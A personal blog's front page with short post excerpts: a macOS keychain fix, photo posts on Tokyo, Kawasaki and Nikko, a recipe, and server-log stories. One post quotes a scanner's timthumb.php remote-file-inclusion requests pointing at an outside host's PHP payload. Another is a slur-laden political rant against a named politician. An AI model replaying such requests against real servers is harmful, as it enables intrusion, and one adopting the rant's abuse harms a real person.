lavandeira.net

Now that I don’t work for Apple anymore I can post again about fixing issues in OS X and iOS devices. Some other day I’ll write about how much OS X Server sucks (now the Server application), but for now let me tell you about an issue that kept me busy this morning.

One of our work computers in the office has been prompting for the login keychain password every five minutes or so, annoying the user with popups like these:

This started happening after removing the user’s account from the computer without deleting the home folder, and logging in again using his Active Directory account. The old keychain was deleted and a new one created manually.

After checking for a while I realized that the problem is that by default any new keychain created via Keychain Access will lock itself every five minutes or when the computer goes to sleep.

Here’s how to fix this:

• Open Keychain Access (inside Applications -> Utilities)
• Right-click the login keychain
• Click Change Settings for Keychain “login”…

• Uncheck the Lock after X minutes of inactivity and Lock when sleeping checkboxes.
• Click Save

Restart the computer (or at least log out from the current account) and these popups shouldn’t annoy you again.

The Aoyama Cemetery (青山霊園, Aoyama Reien) is located in central Tokyo, very close to Roppongi. It’s huge (263,000 squared meters according to Wikipedia), and it is completely open to the public at all times. It was founded in 1872 and it is Japan’s first public cemetery.

It has a foreign plot (外人墓地, gaijin bochi) near the center where many foreigners and their descendants are buried,  but the most popular grave is Hidesaburo Ueno’s, owner of Hachiko. I’m sure you’ve heard his story already, but in case you haven’t, here’s a short summary:

Hidesaburo Ueno was a professor in the Tokyo Imperial University in the early 1900s. In 1924 he adopted Hachiko, an Akita dog, as his pet. Every morning on the way to work they walked together to the Shibuya station, and every evening Hachiko went to the station to wait for Professor Ueno’s return from work.

They continued this routine daily until May 1925, when the Professor didn’t return. He had suffered a cerebral hemorrhage and died. For the next nine years, Hachiko kept coming to the same spot every day to wait for Ueno’s return, until he too died on March 8th, 1935, aged 11.

There’s a bronze statue of Hachiko in the spot where he waited every evening. This is without doubt the most popular meeting spot in Tokyo.

Hachiko is not actually buried in the Aoyama Graveyard (his stuffed remains are exhibited in the National Museum of Nature and Science in Ueno), but there’s a small shrine dedicated to Hachiko inside the plot of Professor Ueno’s grave, and also a commemoratory pylon just outside the plot.

In late December 2013 I moved to a new apartment just a few minutes walking from the graveyard. Having nothing to do during New Year, I took my camera and went for a walk in the afternoon.

Download full resolution photos (144 MB)

Remember that all my photos are released as public domain. You’re welcome to use them for any purpose, whether commercial or not. Attribution is always welcome, but it’s not required.

Keep reading to see the photo gallery.

The Kanamara Matsuri (かなまら祭り, steel phallus festival) is a shinto event organized by the Kanayama shrine (金山神社, Kanayama Jinja) in the Kawasaki province. It takes place the first Sunday of April every year.

This festival has its origins in the Edo period (1603 – 1868), when the town’s prostitutes visited the shrine to pray for protection against syphilis. Currently the festival is dedicated to fertility and it collects funds for HIV research.

The events start at eleven in the morning. There are performances of traditional Japanese music and dance, and also a very fun penis-shaped daikon (Japanese radish) carving contest. Around the shrine grounds there are stalls selling candy and key rings also shaped like penises or vaginas. This year there were also one or two stalls selling adult sex toys.

Around one in the afternoon the visitors go on a procession around the town carrying two mikoshi (神輿, portable shinto shrines) and a wooden cart carrying a huge ping penis.

After the procession many of the visitors head to the Kawasaki Daishi (川崎大師), a very beautiful buddhist shrine around ten minutes walking from there. The avenue to the entrance of the temple grounds has many shops selling souvenirs and food, that reminds me very much of the Nakamise street before the Senso-ji temple in Asakusa.

Enjoy the photos. Feel free to let me know if you’re interested in going next year, because I’ll go again too.

Keep reading to see the photo gallery.

In case you hadn’t heard about this already, pay attention to the last piece of nonsense courtesy of the authoritarian party controlling the Spanish government, the Partido Popular (Popular Party, also know as PP.)

As you may know, in Spain we speak several different languages. The official one is Spanish, spoken in the whole territory, but in some areas Spanish coexists with one or more local languages: Galician, Basque, Catalan, Valencian, Aragonese… However, the fascists in control of the government don’t like this a bit. They want a pure castillian race speaking only Spanish, and they’re proceeding in the same way as Hitler when he tried to destroy everything that wasn’t his aryan race (there, it took me just ten seconds to do a Godwin.)

So what great idea did the retards from PP have this time? They decided to rename Catalan and Aragonese! My guess is that they are trying to erase every mention of these languages from official government documents, hoping that we will forget our mother languages. So far this law has only passed in the administrative region of Aragón, just west from Catalonia, but I wouldn’t be surprised if they did the same in other regions.

Who do we have to thank for this great, great idea? Her name is Luisita Fernanda Rudi, who is currently the president of the Aragón county council, and also president of the NazPopular Party of Aragon. As an unrelated note, her daddy was a member of the military on the side that helped Hitler’s buddy Francisco Franco take power. I’m suuuure this is of no relevance.

The bitch (right) and and owl. Photo courtesy of Los Genoveses.

Keep reading, there’s more.

A few days ago I noticed that I was receiving weird HTTP requests on my frontend web server. The requests were addressed to a domain that doesn’t exists in any of my servers, so initially I thought it was some kind of attack. Out of curiosity I decided to investigate a bit, and it turned out to be something way more interesting.

The requests looked like this:

61.125.xxx.xxx - - [05/May/2013:00:33:38 +0900] "POST http://autoipset.com/ddns/UpdateHost.php HTTP/1.0" 200 3 "-" "-"
61.125.xxx.xxx - - [05/May/2013:00:43:38 +0900] "POST http://autoipset.com/ddns/UpdateHost.php HTTP/1.0" 200 3 "-" "-"
122.19.xxx.xxx - - [05/May/2013:00:45:46 +0900] "POST http://autoipset.com/ddns/RegisterHost.php HTTP/1.0" 200 3 "-" "-"
180.31.xxx.xxx - - [05/May/2013:00:47:53 +0900] "POST http://autoipset.com/ddns/RegisterHost.php HTTP/1.0" 200 3 "-" "-"
114.166.xxx.xxx - - [05/May/2013:00:54:57 +0900] "POST http://autoipset.com/ddns/UpdateHost.php HTTP/1.0" 200 3 "-" "-"
61.125.xxx.xxx - - [05/May/2013:02:03:48 +0900] "POST http://autoipset.com/ddns/UpdateHost.php HTTP/1.0" 200 3 "-" "-"
180.31.xxx.xxx - - [05/May/2013:02:13:05 +0900] "POST http://autoipset.com/ddns/UpdateHost.php HTTP/1.0" 200 3 "-" "-"

(These logs show an HTTP status code of 200 instead of 404 because this is after changing some things on my server. Keep reading for details.)

In other words, several machines from a bunch of different dynamic IP addresses were sending data via HTTP POST to a couple of PHP scripts (/ddns/UpdateHost.php and /ddns/RegisterHost.php) in the autoipset.com domain.

What puzzled me is that autoipset.com is not, and has never been, hosted in any of my servers.

Keep reading to see the rest of the story…

Just as I finished the previous post, this pops up in my Varnish log:

A script kiddy using a host in Italy to bruteforce my WordPress password. What a waste of time and bandwidth.

My friend, please try something more sophisticated. I’m sure there are some holes on my system somewhere just waiting to be exploited.

Nikko is a town, in Tochigi, a few hours by train to the north of Tokyo. It is mainly known for the Nikko National Park (日光国立公園, Nikko kokuritsu koen) and for Toshogu, the mausoleum of shogun Ieyasu Tokugawa, first of the Tokugawa shoguns. The shrines and temples of Nikko have been designated a UNESCO World Heritage Site.

Toshogu itself is a very brightly decorated Shinto shrine deep inside a complex of shrines and temples inside the Nikko National Park. You can enter the shrine, but they don’t allow taking photos inside.

Walking in this area almost makes you feel as if you’re a couple hundred years back in time, if it wasn’t for the hordes of visitors and automatic vending machines. It is in my opinion one of the most beautiful places in Japan and I enjoy going there from time to time.

Keep reading to see the photos…

Something you see very often on the Internet are people talking about things they know nothing about, or intentionally just posting information they know is wrong (these are know as trolls.) It happens very often on online forums, or in the comments section of news sites. From time to time I join the conversation in order to clarify. And to prove that I’m smarter and always right, of course.

Today I went to Shinjuku and ended up inside Tokyu Hands. This is a chain of big stores that sell a variety of products: from furniture to joke articles for parties, fitness equipment, kitchen tools… And there’s where I saw something that reminded me of a discussion on Slashdot a few weeks ago. In an article about Japanese police asking ISPs to block Tor exit nodes, a guy named ShanghaiBill started spreading bullshit about restrictive laws banning owning axes, requiring licenses to own scissors, and implying that it is illegal to own a knife with a blade longer than 5cm:This is obviously not true, but I didn’t waste my time replying back then.

Keep reading for the rest of the post…

My web server was attacked by some guy in Germany last night. This is happens several times a day, so it’s usually not a concern. Ths time it happened while I was monitoring the server, so I had some fun looking at what the attacker was trying to do.

When I’m working on the computer at home I usually have a terminal window open in the background. In this window I’m usually watching all requests to my web server in real time. Most of time time I don’t pay attention to it (it’s mostly search engines crawling my domains), but sometimes you catch something interesting. This is an example of the kind of attacks hitting every web server on the Internet many times a day.

I was having dinner when I saw several strange requests to the Varnish server in front of my backend web server:

85.214.110.68 - - [28/Apr/2013:22:47:48 +0900] "GET /wp-content/themes/Momento/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 400 300 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:49 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:50 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3589 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:52 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//assets/js/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:52 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/assets/js/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3589 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:54 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//extensions/auto-thumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:55 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/extensions/auto-thumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3589 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:56 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//functions/efrog/lib/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:57 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/functions/efrog/lib/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:58 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:59 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:00 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//fws/addons/timthumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:01 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/fws/addons/timthumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:03 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//library/functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:03 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/library/functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:05 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//helpers/timthumb/image.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:05 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/helpers/timthumb/image.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:07 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//images/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:08 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/images/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:09 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//inc/classes/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:10 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/inc/classes/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:11 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//inc/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:12 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/inc/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:14 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//include/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:14 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/include/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:16 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//includes/functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:16 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/includes/functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:18 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//includes/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:19 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/includes/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:20 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//includes/timthumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:21 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/includes/timthumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:22 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//js/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:23 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/js/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:25 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//lib/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
[...additional lines ommited...]

(Actually, these logs are from the backend web server running Apache. I’m not storing the request log on the Varnish machine.)

This guy was obviously scanning the web server for a script called timthumb.php. A quick search on Google shows that there was indeed a security problem with older versions of this program. It was possible to trick it into downloading a file from an attacker’s host and saving it into the server, where it could be later executed in order to compromise the system (see this link for details.)

By popular request (popular meaning my coworkers’), here’s how I cook my Spanish omelette.

Ingredients (for 4-5 people)

• 7-8 medium-sized potatos
• 1 medium-size onion
• 8 eggs
• Olive oil (I used a 450cc bottle)
• Salt
• A bit of milk (1/3 of a small glass)

Keep reading for the full recipe.